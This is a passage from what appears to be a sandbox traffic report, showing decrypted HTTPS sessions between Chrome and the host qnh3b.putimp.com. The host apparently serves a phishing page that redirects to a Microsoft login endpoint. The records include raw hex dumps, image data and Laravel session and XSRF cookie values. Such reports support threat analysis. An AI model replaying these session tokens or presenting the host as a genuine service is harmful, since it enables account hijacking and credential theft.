laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	29	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 4c 6c 41 6f 26 74 79 70 65 3d 34 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=LlAo&type=4&appnum=1
2024-04-16 19:40:10 UTC	1103	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w%2FAu9P6%2FbanVZag6Tq%2FbYayAtAG5KehBg4ljEiROP6VuF5AQjXdDBNohJeMORARJHIuk3YT98xA0dkTCbZKB6bAFIyi6Ur%2Bbb5USrkX%2BEKymFfur0xVL%2BU0dgZNb%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; expires=Tue, 16-Apr-2024 21:40:10 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-16 19:40:10 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4e 6c 61 45 70 6b 65 55 51 78 5a 6e 68 33 64 31 5a 6d 56 55 56 31 53 55 4e 53 54 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4f 48 68 7a 61 6a 68 71 56 6e 70 4a 63 33 42 6f 52 6a 52 36 4d 46 51 32 59 33 64 75 65 58 64 34 51 33 4a 71 64 58 63 77 55 30 74 77 61 6d 6b 77 51 57 6b 72 53 33 4e 6d 52 6b 4e 58 55 33 5a 78 51 6e 70 6f 55 47 4e 78 56 44 4e 79 5a 47 56 58 53 7a 42 49 65 47 46 5a 55 32 34 33 63 47 78 4c 4e 53 74 5a 4e 57 6c 33 4e 6a 46 31 54 57 68 33 61 48 46 71 64 45 4e 31 51 33 42 74 4b 31 4a 36 4c 32 68 58 54 6b 59 30 63 33 5a 46 56 6d 5a 34 4d 54 6c 42 53 6c 52 6a 5a 6a 46 52 57 57 46 68 55 6c 64 48 56 45 6c 6f 4d 32 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2Y
2024-04-16 19:40:10 UTC	97	IN	Data Raw: 35 62 0d 0a 7b 22 65 78 70 69 72 65 64 22 3a 30 2c 22 72 65 64 69 72 65 63 74 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 5c 2f 63 6f 6d 6d 6f 6e 5c 2f 53 41 53 5c 2f 50 72 6f 63 65 73 73 41 75 74 68 22 7d 0d 0a Data Ascii: 5b{"expired":0,"redirecturl":"https:\/\/login.microsoftonline.com\/common\/SAS\/ProcessAuth"}
2024-04-16 19:40:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49787	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1477	OUT	GET /mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:11 UTC	756	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:11 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnxoZafsKDuxUqjsrPcbj6GUIUShAhijNmBHuhIpjAkspqBG3juv220" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bdgoAKdG6nw1f5U1rtjWZzn4Ra5mMgGivYCUAy6Mqjy86mdvPKQuCp1J5EDTnGsJOWkMvygdZvUiqfGALGfso%2FFJZZmAXfyhvA%2FfFJc3wtpMLF0J%2FkSG3jAP3ZhKDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5422e1044f7-ATL
2024-04-16 19:40:11 UTC	613	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-16 19:40:11 UTC	1258	IN	Data Raw: 30 2e 32 34 36 20 30 20 31 32 34 39 2e 38 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 Data Ascii: 0.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6)
2024-04-16 19:40:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49789	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:09 UTC	1492	OUT	GET /ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:10 UTC	767	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:10 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijbIVlkpv2ZZTygLSxZT6ZwNiSvLwJN9cjzfwH2xIb9389Eki8BUsphIffC6v2wjCab230" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OS479Bcz6%2BYkGSIQogwCZWlv2H8N89j9%2BicTZGLlzgnNjREFqzetpel6WDaCemGQYIVsclfDoZVgHFyR1enTIGtm6gq09fZFSBKAoetr%2FQB7BVOvQSoZKGl3A3tW5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a54339e753f4-ATL
2024-04-16 19:40:10 UTC	602	IN	Data Raw: 35 37 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 Data Ascii: 578PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?
2024-04-16 19:40:10 UTC	805	IN	Data Raw: d7 87 ac 1b 5a 1c 81 cf 9e 14 09 96 34 f5 90 bf c8 41 fa 3e ce aa d1 58 f0 9d 61 2f f4 19 10 30 4e 2e 26 3f 71 f4 eb ee c9 c5 fd bd b3 e8 0b 46 23 77 26 6f 88 22 4c 3a 96 b2 e8 6c 0e 63 cc 86 e0 ac 8e 9a 78 bb 50 ea 86 ee d1 90 40 65 d2 0b 26 01 26 7c 59 a0 10 ac 21 e8 8f 69 d1 f4 00 ee 67 61 63 00 e3 31 43 e6 07 18 cc 0f 49 f4 b4 74 ca e1 ef 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 Data Ascii: Z4A>Xa/0N.&?qF#w&o"L:lcxP@e&&\|Y!igac1CIte~q&62B}*VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.
2024-04-16 19:40:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49790	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:10 UTC	1479	OUT	GET /uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:11 UTC	756	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:11 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="uvDtFZCv0wFVvViM8VMRNhGDQANzFbqopDBnMwonX9jq8Iz80g3o34130" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P4STeS49Uq6xqM6el7DWumXeYDSsKGyBNo4ED38AqcOtvhtNqA9YnDMeedBUIAb%2BCBvHx2%2BYiMqUhHPOavh7n7bwxN%2BQj%2Bo6S4NI1gbfqcqefARQfTwYL9vGMteXOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5472ad96769-ATL
2024-04-16 19:40:11 UTC	237	IN	Data Raw: 65 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: e7PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`
2024-04-16 19:40:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49791	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:10 UTC	1464	OUT	GET /qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:12 UTC	745	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:12 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yH9dAFBQIrOYtBQwtglqAdCrj2p2PwTx%2FyE9my1diLUwoXI9EddQDMp23DeYG1ZZICnYfrWHj1PLAnvaJAnrC39xc%2Fqm3%2BrYv%2Ft8%2Bq1jwK33b8w489CiD8Vuo%2BhPfA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a5480e5769f2-ATL
2024-04-16 19:40:12 UTC	624	IN	Data Raw: 32 64 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b Data Ascii: 2d7PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk
2024-04-16 19:40:12 UTC	110	IN	Data Raw: 00 38 84 89 7f 0e a0 1b f9 d4 30 d7 05 11 3f a2 d6 31 b9 77 00 22 26 92 b5 83 ee ce 00 38 6a c2 35 76 4f 00 3c 9d a8 4f 67 53 4d a4 6a 25 9c b9 75 06 bc 45 3d 3a 00 9b 58 4a 3d 3d f7 86 81 d1 02 28 ad a1 9d 33 30 01 28 8d c0 ae f7 4f 29 34 31 50 18 81 d1 a7 d0 1f 70 6b 51 40 66 f8 53 a2 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 80?1w"&8j5vO<OgSMj%uE=:XJ==(30(O)41PpkQ@fSIENDB`
2024-04-16 19:40:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49792	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
